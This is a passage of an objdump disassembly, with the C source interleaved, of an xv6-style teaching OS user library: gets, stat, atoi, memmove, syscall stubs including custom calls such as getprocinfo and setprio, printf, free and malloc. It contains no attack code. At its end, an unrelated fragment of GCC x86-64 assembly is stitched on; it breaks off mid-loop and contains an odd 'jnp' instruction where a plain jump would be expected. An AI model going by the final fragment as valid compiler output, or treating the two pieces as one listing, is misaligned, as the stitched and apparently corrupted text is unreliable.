e8 32 01 00 00 call 28a <read> if(cc < 1) 158: 83 c4 10 add $0x10,%esp 15b: 85 c0 test %eax,%eax 15d: 7e 1c jle 17b <gets+0x4b> break; buf[i++] = c; 15f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 163: 83 c7 01 add $0x1,%edi 166: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 169: 3c 0a cmp $0xa,%al 16b: 74 23 je 190 <gets+0x60> 16d: 3c 0d cmp $0xd,%al 16f: 74 1f je 190 <gets+0x60> for(i=0; i+1 < max; ){ 171: 83 c3 01 add $0x1,%ebx 174: 3b 5d 0c cmp 0xc(%ebp),%ebx 177: 89 fe mov %edi,%esi 179: 7c cd jl 148 <gets+0x18> 17b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 17d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 180: c6 03 00 movb $0x0,(%ebx) } 183: 8d 65 f4 lea -0xc(%ebp),%esp 186: 5b pop %ebx 187: 5e pop %esi 188: 5f pop %edi 189: 5d pop %ebp 18a: c3 ret 18b: 90 nop 18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 190: 8b 75 08 mov 0x8(%ebp),%esi 193: 8b 45 08 mov 0x8(%ebp),%eax 196: 01 de add %ebx,%esi 198: 89 f3 mov %esi,%ebx buf[i] = '\0'; 19a: c6 03 00 movb $0x0,(%ebx) } 19d: 8d 65 f4 lea -0xc(%ebp),%esp 1a0: 5b pop %ebx 1a1: 5e pop %esi 1a2: 5f pop %edi 1a3: 5d pop %ebp 1a4: c3 ret 1a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001b0 <stat>: int stat(const char *n, struct stat *st) { 1b0: 55 push %ebp 1b1: 89 e5 mov %esp,%ebp 1b3: 56 push %esi 1b4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1b5: 83 ec 08 sub $0x8,%esp 1b8: 6a 00 push $0x0 1ba: ff 75 08 pushl 0x8(%ebp) 1bd: e8 f0 00 00 00 call 2b2 <open> if(fd < 0) 1c2: 83 c4 10 add $0x10,%esp 1c5: 85 c0 test %eax,%eax 1c7: 78 27 js 1f0 <stat+0x40> return -1; r = fstat(fd, st); 1c9: 83 ec 08 sub $0x8,%esp 1cc: ff 75 0c pushl 0xc(%ebp) 1cf: 89 c3 mov %eax,%ebx 1d1: 50 push %eax 1d2: e8 f3 00 00 00 call 2ca <fstat> close(fd); 1d7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 1da: 89 c6 mov %eax,%esi close(fd); 1dc: e8 b9 00 00 00 call 29a <close> return r; 1e1: 83 c4 10 add $0x10,%esp } 1e4: 8d 65 f8 lea -0x8(%ebp),%esp 1e7: 89 f0 mov %esi,%eax 1e9: 5b pop %ebx 1ea: 5e pop %esi 1eb: 5d pop %ebp 1ec: c3 ret 1ed: 8d 76 00 lea 0x0(%esi),%esi return -1; 1f0: be ff ff ff ff mov $0xffffffff,%esi 1f5: eb ed jmp 1e4 <stat+0x34> 1f7: 89 f6 mov %esi,%esi 1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000200 <atoi>: int atoi(const char *s) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 53 push %ebx 204: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 207: 0f be 11 movsbl (%ecx),%edx 20a: 8d 42 d0 lea -0x30(%edx),%eax 20d: 3c 09 cmp $0x9,%al n = 0; 20f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 214: 77 1f ja 235 <atoi+0x35> 216: 8d 76 00 lea 0x0(%esi),%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 220: 8d 04 80 lea (%eax,%eax,4),%eax 223: 83 c1 01 add $0x1,%ecx 226: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 22a: 0f be 11 movsbl (%ecx),%edx 22d: 8d 5a d0 lea -0x30(%edx),%ebx 230: 80 fb 09 cmp $0x9,%bl 233: 76 eb jbe 220 <atoi+0x20> return n; } 235: 5b pop %ebx 236: 5d pop %ebp 237: c3 ret 238: 90 nop 239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000240 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 56 push %esi 244: 53 push %ebx 245: 8b 5d 10 mov 0x10(%ebp),%ebx 248: 8b 45 08 mov 0x8(%ebp),%eax 24b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 24e: 85 db test %ebx,%ebx 250: 7e 14 jle 266 <memmove+0x26> 252: 31 d2 xor %edx,%edx 254: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 258: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 25c: 88 0c 10 mov %cl,(%eax,%edx,1) 25f: 83 c2 01 add $0x1,%edx while(n-- > 0) 262: 39 d3 cmp %edx,%ebx 264: 75 f2 jne 258 <memmove+0x18> return vdst; } 266: 5b pop %ebx 267: 5e pop %esi 268: 5d pop %ebp 269: c3 ret 0000026a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 26a: b8 01 00 00 00 mov $0x1,%eax 26f: cd 40 int $0x40 271: c3 ret 00000272 <exit>: SYSCALL(exit) 272: b8 02 00 00 00 mov $0x2,%eax 277: cd 40 int $0x40 279: c3 ret 0000027a <wait>: SYSCALL(wait) 27a: b8 03 00 00 00 mov $0x3,%eax 27f: cd 40 int $0x40 281: c3 ret 00000282 <pipe>: SYSCALL(pipe) 282: b8 04 00 00 00 mov $0x4,%eax 287: cd 40 int $0x40 289: c3 ret 0000028a <read>: SYSCALL(read) 28a: b8 05 00 00 00 mov $0x5,%eax 28f: cd 40 int $0x40 291: c3 ret 00000292 <write>: SYSCALL(write) 292: b8 10 00 00 00 mov $0x10,%eax 297: cd 40 int $0x40 299: c3 ret 0000029a <close>: SYSCALL(close) 29a: b8 15 00 00 00 mov $0x15,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <kill>: SYSCALL(kill) 2a2: b8 06 00 00 00 mov $0x6,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <exec>: SYSCALL(exec) 2aa: b8 07 00 00 00 mov $0x7,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <open>: SYSCALL(open) 2b2: b8 0f 00 00 00 mov $0xf,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <mknod>: SYSCALL(mknod) 2ba: b8 11 00 00 00 mov $0x11,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <unlink>: SYSCALL(unlink) 2c2: b8 12 00 00 00 mov $0x12,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <fstat>: SYSCALL(fstat) 2ca: b8 08 00 00 00 mov $0x8,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <link>: SYSCALL(link) 2d2: b8 13 00 00 00 mov $0x13,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <mkdir>: SYSCALL(mkdir) 2da: b8 14 00 00 00 mov $0x14,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <chdir>: SYSCALL(chdir) 2e2: b8 09 00 00 00 mov $0x9,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <dup>: SYSCALL(dup) 2ea: b8 0a 00 00 00 mov $0xa,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <getpid>: SYSCALL(getpid) 2f2: b8 0b 00 00 00 mov $0xb,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <sbrk>: SYSCALL(sbrk) 2fa: b8 0c 00 00 00 mov $0xc,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <sleep>: SYSCALL(sleep) 302: b8 0d 00 00 00 mov $0xd,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <uptime>: SYSCALL(uptime) 30a: b8 0e 00 00 00 mov $0xe,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <hello>: SYSCALL(hello) 312: b8 16 00 00 00 mov $0x16,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <helloname>: SYSCALL(helloname) 31a: b8 17 00 00 00 mov $0x17,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getnumproc>: SYSCALL(getnumproc) 322: b8 18 00 00 00 mov $0x18,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <getmaxpid>: SYSCALL(getmaxpid) 32a: b8 19 00 00 00 mov $0x19,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <getprocinfo>: SYSCALL(getprocinfo) 332: b8 1a 00 00 00 mov $0x1a,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <setprio>: SYSCALL(setprio) 33a: b8 1b 00 00 00 mov $0x1b,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <getprio>: SYSCALL(getprio) 342: b8 1c 00 00 00 mov $0x1c,%eax 347: cd 40 int $0x40 349: c3 ret 34a: 66 90 xchg %ax,%ax 34c: 66 90 xchg %ax,%ax 34e: 66 90 xchg %ax,%ax 00000350 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 57 push %edi 354: 56 push %esi 355: 53 push %ebx 356: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 359: 85 d2 test %edx,%edx { 35b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 35e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 360: 79 76 jns 3d8 <printint+0x88> 362: f6 45 08 01 testb $0x1,0x8(%ebp) 366: 74 70 je 3d8 <printint+0x88> x = -xx; 368: f7 d8 neg %eax neg = 1; 36a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 371: 31 f6 xor %esi,%esi 373: 8d 5d d7 lea -0x29(%ebp),%ebx 376: eb 0a jmp 382 <printint+0x32> 378: 90 nop 379: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 380: 89 fe mov %edi,%esi 382: 31 d2 xor %edx,%edx 384: 8d 7e 01 lea 0x1(%esi),%edi 387: f7 f1 div %ecx 389: 0f b6 92 50 07 00 00 movzbl 0x750(%edx),%edx }while((x /= base) != 0); 390: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 392: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 395: 75 e9 jne 380 <printint+0x30> if(neg) 397: 8b 45 c4 mov -0x3c(%ebp),%eax 39a: 85 c0 test %eax,%eax 39c: 74 08 je 3a6 <printint+0x56> buf[i++] = '-'; 39e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 3a3: 8d 7e 02 lea 0x2(%esi),%edi 3a6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 3aa: 8b 7d c0 mov -0x40(%ebp),%edi 3ad: 8d 76 00 lea 0x0(%esi),%esi 3b0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 3b3: 83 ec 04 sub $0x4,%esp 3b6: 83 ee 01 sub $0x1,%esi 3b9: 6a 01 push $0x1 3bb: 53 push %ebx 3bc: 57 push %edi 3bd: 88 45 d7 mov %al,-0x29(%ebp) 3c0: e8 cd fe ff ff call 292 <write> while(--i >= 0) 3c5: 83 c4 10 add $0x10,%esp 3c8: 39 de cmp %ebx,%esi 3ca: 75 e4 jne 3b0 <printint+0x60> putc(fd, buf[i]); } 3cc: 8d 65 f4 lea -0xc(%ebp),%esp 3cf: 5b pop %ebx 3d0: 5e pop %esi 3d1: 5f pop %edi 3d2: 5d pop %ebp 3d3: c3 ret 3d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 3d8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3df: eb 90 jmp 371 <printint+0x21> 3e1: eb 0d jmp 3f0 <printf> 3e3: 90 nop 3e4: 90 nop 3e5: 90 nop 3e6: 90 nop 3e7: 90 nop 3e8: 90 nop 3e9: 90 nop 3ea: 90 nop 3eb: 90 nop 3ec: 90 nop 3ed: 90 nop 3ee: 90 nop 3ef: 90 nop 000003f0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 56 push %esi 3f5: 53 push %ebx 3f6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3f9: 8b 75 0c mov 0xc(%ebp),%esi 3fc: 0f b6 1e movzbl (%esi),%ebx 3ff: 84 db test %bl,%bl 401: 0f 84 b3 00 00 00 je 4ba <printf+0xca> ap = (uint*)(void*)&fmt + 1; 407: 8d 45 10 lea 0x10(%ebp),%eax 40a: 83 c6 01 add $0x1,%esi state = 0; 40d: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 40f: 89 45 d4 mov %eax,-0x2c(%ebp) 412: eb 2f jmp 443 <printf+0x53> 414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 418: 83 f8 25 cmp $0x25,%eax 41b: 0f 84 a7 00 00 00 je 4c8 <printf+0xd8> write(fd, &c, 1); 421: 8d 45 e2 lea -0x1e(%ebp),%eax 424: 83 ec 04 sub $0x4,%esp 427: 88 5d e2 mov %bl,-0x1e(%ebp) 42a: 6a 01 push $0x1 42c: 50 push %eax 42d: ff 75 08 pushl 0x8(%ebp) 430: e8 5d fe ff ff call 292 <write> 435: 83 c4 10 add $0x10,%esp 438: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 43b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 43f: 84 db test %bl,%bl 441: 74 77 je 4ba <printf+0xca> if(state == 0){ 443: 85 ff test %edi,%edi c = fmt[i] & 0xff; 445: 0f be cb movsbl %bl,%ecx 448: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 44b: 74 cb je 418 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 44d: 83 ff 25 cmp $0x25,%edi 450: 75 e6 jne 438 <printf+0x48> if(c == 'd'){ 452: 83 f8 64 cmp $0x64,%eax 455: 0f 84 05 01 00 00 je 560 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 45b: 81 e1 f7 00 00 00 and $0xf7,%ecx 461: 83 f9 70 cmp $0x70,%ecx 464: 74 72 je 4d8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 466: 83 f8 73 cmp $0x73,%eax 469: 0f 84 99 00 00 00 je 508 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 46f: 83 f8 63 cmp $0x63,%eax 472: 0f 84 08 01 00 00 je 580 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 478: 83 f8 25 cmp $0x25,%eax 47b: 0f 84 ef 00 00 00 je 570 <printf+0x180> write(fd, &c, 1); 481: 8d 45 e7 lea -0x19(%ebp),%eax 484: 83 ec 04 sub $0x4,%esp 487: c6 45 e7 25 movb $0x25,-0x19(%ebp) 48b: 6a 01 push $0x1 48d: 50 push %eax 48e: ff 75 08 pushl 0x8(%ebp) 491: e8 fc fd ff ff call 292 <write> 496: 83 c4 0c add $0xc,%esp 499: 8d 45 e6 lea -0x1a(%ebp),%eax 49c: 88 5d e6 mov %bl,-0x1a(%ebp) 49f: 6a 01 push $0x1 4a1: 50 push %eax 4a2: ff 75 08 pushl 0x8(%ebp) 4a5: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4a8: 31 ff xor %edi,%edi write(fd, &c, 1); 4aa: e8 e3 fd ff ff call 292 <write> for(i = 0; fmt[i]; i++){ 4af: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 4b3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 4b6: 84 db test %bl,%bl 4b8: 75 89 jne 443 <printf+0x53> } } } 4ba: 8d 65 f4 lea -0xc(%ebp),%esp 4bd: 5b pop %ebx 4be: 5e pop %esi 4bf: 5f pop %edi 4c0: 5d pop %ebp 4c1: c3 ret 4c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 4c8: bf 25 00 00 00 mov $0x25,%edi 4cd: e9 66 ff ff ff jmp 438 <printf+0x48> 4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 4d8: 83 ec 0c sub $0xc,%esp 4db: b9 10 00 00 00 mov $0x10,%ecx 4e0: 6a 00 push $0x0 4e2: 8b 7d d4 mov -0x2c(%ebp),%edi 4e5: 8b 45 08 mov 0x8(%ebp),%eax 4e8: 8b 17 mov (%edi),%edx 4ea: e8 61 fe ff ff call 350 <printint> ap++; 4ef: 89 f8 mov %edi,%eax 4f1: 83 c4 10 add $0x10,%esp state = 0; 4f4: 31 ff xor %edi,%edi ap++; 4f6: 83 c0 04 add $0x4,%eax 4f9: 89 45 d4 mov %eax,-0x2c(%ebp) 4fc: e9 37 ff ff ff jmp 438 <printf+0x48> 501: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 508: 8b 45 d4 mov -0x2c(%ebp),%eax 50b: 8b 08 mov (%eax),%ecx ap++; 50d: 83 c0 04 add $0x4,%eax 510: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 513: 85 c9 test %ecx,%ecx 515: 0f 84 8e 00 00 00 je 5a9 <printf+0x1b9> while(*s != 0){ 51b: 0f b6 01 movzbl (%ecx),%eax state = 0; 51e: 31 ff xor %edi,%edi s = (char*)*ap; 520: 89 cb mov %ecx,%ebx while(*s != 0){ 522: 84 c0 test %al,%al 524: 0f 84 0e ff ff ff je 438 <printf+0x48> 52a: 89 75 d0 mov %esi,-0x30(%ebp) 52d: 89 de mov %ebx,%esi 52f: 8b 5d 08 mov 0x8(%ebp),%ebx 532: 8d 7d e3 lea -0x1d(%ebp),%edi 535: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 538: 83 ec 04 sub $0x4,%esp s++; 53b: 83 c6 01 add $0x1,%esi 53e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 541: 6a 01 push $0x1 543: 57 push %edi 544: 53 push %ebx 545: e8 48 fd ff ff call 292 <write> while(*s != 0){ 54a: 0f b6 06 movzbl (%esi),%eax 54d: 83 c4 10 add $0x10,%esp 550: 84 c0 test %al,%al 552: 75 e4 jne 538 <printf+0x148> 554: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 557: 31 ff xor %edi,%edi 559: e9 da fe ff ff jmp 438 <printf+0x48> 55e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 560: 83 ec 0c sub $0xc,%esp 563: b9 0a 00 00 00 mov $0xa,%ecx 568: 6a 01 push $0x1 56a: e9 73 ff ff ff jmp 4e2 <printf+0xf2> 56f: 90 nop write(fd, &c, 1); 570: 83 ec 04 sub $0x4,%esp 573: 88 5d e5 mov %bl,-0x1b(%ebp) 576: 8d 45 e5 lea -0x1b(%ebp),%eax 579: 6a 01 push $0x1 57b: e9 21 ff ff ff jmp 4a1 <printf+0xb1> putc(fd, *ap); 580: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 583: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 586: 8b 07 mov (%edi),%eax write(fd, &c, 1); 588: 6a 01 push $0x1 ap++; 58a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 58d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 590: 8d 45 e4 lea -0x1c(%ebp),%eax 593: 50 push %eax 594: ff 75 08 pushl 0x8(%ebp) 597: e8 f6 fc ff ff call 292 <write> ap++; 59c: 89 7d d4 mov %edi,-0x2c(%ebp) 59f: 83 c4 10 add $0x10,%esp state = 0; 5a2: 31 ff xor %edi,%edi 5a4: e9 8f fe ff ff jmp 438 <printf+0x48> s = "(null)"; 5a9: bb 48 07 00 00 mov $0x748,%ebx while(*s != 0){ 5ae: b8 28 00 00 00 mov $0x28,%eax 5b3: e9 72 ff ff ff jmp 52a <printf+0x13a> 5b8: 66 90 xchg %ax,%ax 5ba: 66 90 xchg %ax,%ax 5bc: 66 90 xchg %ax,%ax 5be: 66 90 xchg %ax,%ax 000005c0 <free>: static Header base; static Header *freep; void free(void *ap) { 5c0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5c1: a1 f4 09 00 00 mov 0x9f4,%eax { 5c6: 89 e5 mov %esp,%ebp 5c8: 57 push %edi 5c9: 56 push %esi 5ca: 53 push %ebx 5cb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 5ce: 8d 4b f8 lea -0x8(%ebx),%ecx 5d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5d8: 39 c8 cmp %ecx,%eax 5da: 8b 10 mov (%eax),%edx 5dc: 73 32 jae 610 <free+0x50> 5de: 39 d1 cmp %edx,%ecx 5e0: 72 04 jb 5e6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5e2: 39 d0 cmp %edx,%eax 5e4: 72 32 jb 618 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 5e6: 8b 73 fc mov -0x4(%ebx),%esi 5e9: 8d 3c f1 lea (%ecx,%esi,8),%edi 5ec: 39 fa cmp %edi,%edx 5ee: 74 30 je 620 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5f0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5f3: 8b 50 04 mov 0x4(%eax),%edx 5f6: 8d 34 d0 lea (%eax,%edx,8),%esi 5f9: 39 f1 cmp %esi,%ecx 5fb: 74 3a je 637 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 5fd: 89 08 mov %ecx,(%eax) freep = p; 5ff: a3 f4 09 00 00 mov %eax,0x9f4 } 604: 5b pop %ebx 605: 5e pop %esi 606: 5f pop %edi 607: 5d pop %ebp 608: c3 ret 609: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 610: 39 d0 cmp %edx,%eax 612: 72 04 jb 618 <free+0x58> 614: 39 d1 cmp %edx,%ecx 616: 72 ce jb 5e6 <free+0x26> { 618: 89 d0 mov %edx,%eax 61a: eb bc jmp 5d8 <free+0x18> 61c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 620: 03 72 04 add 0x4(%edx),%esi 623: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 626: 8b 10 mov (%eax),%edx 628: 8b 12 mov (%edx),%edx 62a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 62d: 8b 50 04 mov 0x4(%eax),%edx 630: 8d 34 d0 lea (%eax,%edx,8),%esi 633: 39 f1 cmp %esi,%ecx 635: 75 c6 jne 5fd <free+0x3d> p->s.size += bp->s.size; 637: 03 53 fc add -0x4(%ebx),%edx freep = p; 63a: a3 f4 09 00 00 mov %eax,0x9f4 p->s.size += bp->s.size; 63f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 642: 8b 53 f8 mov -0x8(%ebx),%edx 645: 89 10 mov %edx,(%eax) } 647: 5b pop %ebx 648: 5e pop %esi 649: 5f pop %edi 64a: 5d pop %ebp 64b: c3 ret 64c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000650 <malloc>: return freep; } void* malloc(uint nbytes) { 650: 55 push %ebp 651: 89 e5 mov %esp,%ebp 653: 57 push %edi 654: 56 push %esi 655: 53 push %ebx 656: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 659: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 65c: 8b 15 f4 09 00 00 mov 0x9f4,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 662: 8d 78 07 lea 0x7(%eax),%edi 665: c1 ef 03 shr $0x3,%edi 668: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 66b: 85 d2 test %edx,%edx 66d: 0f 84 9d 00 00 00 je 710 <malloc+0xc0> 673: 8b 02 mov (%edx),%eax 675: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 678: 39 cf cmp %ecx,%edi 67a: 76 6c jbe 6e8 <malloc+0x98> 67c: 81 ff 00 10 00 00 cmp $0x1000,%edi 682: bb 00 10 00 00 mov $0x1000,%ebx 687: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 68a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 691: eb 0e jmp 6a1 <malloc+0x51> 693: 90 nop 694: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 698: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 69a: 8b 48 04 mov 0x4(%eax),%ecx 69d: 39 f9 cmp %edi,%ecx 69f: 73 47 jae 6e8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6a1: 39 05 f4 09 00 00 cmp %eax,0x9f4 6a7: 89 c2 mov %eax,%edx 6a9: 75 ed jne 698 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 6ab: 83 ec 0c sub $0xc,%esp 6ae: 56 push %esi 6af: e8 46 fc ff ff call 2fa <sbrk> if(p == (char*)-1) 6b4: 83 c4 10 add $0x10,%esp 6b7: 83 f8 ff cmp $0xffffffff,%eax 6ba: 74 1c je 6d8 <malloc+0x88> hp->s.size = nu; 6bc: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 6bf: 83 ec 0c sub $0xc,%esp 6c2: 83 c0 08 add $0x8,%eax 6c5: 50 push %eax 6c6: e8 f5 fe ff ff call 5c0 <free> return freep; 6cb: 8b 15 f4 09 00 00 mov 0x9f4,%edx if((p = morecore(nunits)) == 0) 6d1: 83 c4 10 add $0x10,%esp 6d4: 85 d2 test %edx,%edx 6d6: 75 c0 jne 698 <malloc+0x48> return 0; } } 6d8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 6db: 31 c0 xor %eax,%eax } 6dd: 5b pop %ebx 6de: 5e pop %esi 6df: 5f pop %edi 6e0: 5d pop %ebp 6e1: c3 ret 6e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 6e8: 39 cf cmp %ecx,%edi 6ea: 74 54 je 740 <malloc+0xf0> p->s.size -= nunits; 6ec: 29 f9 sub %edi,%ecx 6ee: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6f1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6f4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 6f7: 89 15 f4 09 00 00 mov %edx,0x9f4 } 6fd: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 700: 83 c0 08 add $0x8,%eax } 703: 5b pop %ebx 704: 5e pop %esi 705: 5f pop %edi 706: 5d pop %ebp 707: c3 ret 708: 90 nop 709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 710: c7 05 f4 09 00 00 f8 movl $0x9f8,0x9f4 717: 09 00 00 71a: c7 05 f8 09 00 00 f8 movl $0x9f8,0x9f8 721: 09 00 00 base.s.size = 0; 724: b8 f8 09 00 00 mov $0x9f8,%eax 729: c7 05 fc 09 00 00 00 movl $0x0,0x9fc 730: 00 00 00 733: e9 44 ff ff ff jmp 67c <malloc+0x2c> 738: 90 nop 739: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 740: 8b 08 mov (%eax),%ecx 742: 89 0a mov %ecx,(%edx) 744: eb b1 jmp 6f7 <malloc+0xa7>
.LFB11: .cfi_startproc leal -2(%rsi), %eax testl %esi, %esi jle .L5 cltq addq %rdi, %rax movzbl (%rax), %edx cmpb %dl, (%rdi) jne .L7 subl $1, %esi addq %rdi, %rsi jnp .L3 .p2align 4,,10 .p2align 3 .L4: movzbl 1(%rdi), %ecx movzbl -1(%rax), %edx addq $1, %rdi subq $1, %rax cmpb %dl, %cl jne .L7 .L3: movzbl 1(%rdi), %ecx movzbl -1(%rax), %edx
